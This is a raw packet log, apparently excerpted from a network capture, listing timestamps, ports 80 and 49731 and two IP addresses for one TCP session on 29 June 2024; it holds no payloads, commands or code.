Jun 29, 2024 08:05:14.505815983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505825043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505872011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.505899906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505908966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505913019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.505919933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505930901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505954027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.505980968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.505990028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.506128073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579085112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579108000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579124928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579152107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579169035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579168081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579184055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579200029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579216957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579251051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579279900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579303026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579319954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579335928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579351902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579366922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579385996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579426050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579426050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579448938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579473019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.579514027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.579514027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.580142975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.580187082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.580202103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.580213070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.580338955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.580347061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.580363035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.580379009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.580393076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.580404043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.580409050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.580455065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.580523014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.581521034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.581537962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.581557989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.581585884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.581594944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.581612110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.581624985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.581665039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.581669092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.581706047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.581768990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.582778931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.582835913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.582851887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.582890034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.582894087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.582911015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.582933903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.582969904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.582981110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.582997084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.583045006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.583838940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.583885908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.583889961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.583901882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.583931923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.583935976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.583952904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.583991051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.583995104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.584008932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584024906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584069014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.584464073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584486008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584501982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584518909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584537983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.584537983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.584558010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.584561110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584594011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.584604979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584610939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.584620953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.584665060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.584707022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.586597919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.586659908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.586687088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.586718082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.586793900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.586884022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.586899996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.586909056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.586925030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.586930037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.586960077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.586963892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.586980104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.586980104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.587037086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.587300062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.587346077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.587357044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.587373972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.587424040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.587482929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.587510109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.587526083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.587532997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.587542057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.587557077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.587575912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.587606907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.588567019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.588624954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.588644981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.588660955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.588676929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.588700056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.588727951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.588742971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.588757992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.588773966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.588793039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.588835955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.589236975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.589288950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.589306116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.589318991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.589349031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.589354038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.589370012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.589374065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.589387894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.589396000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.589406013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.589416027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.589435101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.589458942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.590189934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.590214968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.590231895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.590267897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.590308905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.590310097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.590326071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.590342999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.590358973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.590375900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.590414047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.591919899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.591936111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.591950893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.591980934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592008114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592010021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592050076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592065096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592097044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592099905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592114925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592114925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592154026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592184067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592801094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592817068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592833042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592865944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592865944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592883110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592897892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592911005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592911959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.592945099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.592977047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.594693899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.594708920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.594733000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.594743967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.594748020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.594763994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.594780922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.594810009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.594824076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.594831944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.594840050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.594872952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.594903946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.595364094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.595416069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.595429897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.595431089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.595472097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.595478058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.595493078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.595508099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.595524073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.595530987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.595565081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.595599890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.667808056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.667855024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.667896986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.667918921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.667932987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.667948008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.667963982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.667996883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.668044090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668056011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.668059111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668073893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668088913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668106079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.668133020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.668174982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668190002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668209076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668222904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668236017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.668262959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668293953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.668322086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.668351889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.668412924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.669764996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.669790983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.669806004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.669846058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.669883966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.669893980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.669899940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.669935942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.669965029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.669976950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.669992924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.670042992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.671111107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.671123981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.671139002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.671185017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.671202898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.671205044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.671217918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.671232939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.671247005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.671283960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.671303034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.671319008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.671367884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.672342062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.672367096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.672380924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.672430992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.672449112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.672451973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.672466993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.672488928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.672523022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.672538996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.672553062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.672553062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.672585964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.672615051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.673266888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673281908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673296928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673311949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673326015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673331976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.673360109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.673383951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673388958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.673398972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673433065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.673463106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.673867941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673903942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673918009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673929930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.673942089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673957109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673959970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.673973083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.673980951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.674012899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.674038887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.674043894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.674058914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.674098015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.674129009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676434994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676497936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676512957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676525116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676528931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676542997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676542997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676578045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676579952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676609993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676610947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676646948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676676989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676811934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676837921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676857948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676876068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676893950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676896095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676911116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676928043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676943064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.676944971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.676991940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.677002907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.677038908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.677067995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.677943945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.677983046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.677997112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.678030014 CEST	49731	80	192.168.2.4	81.28.12.12
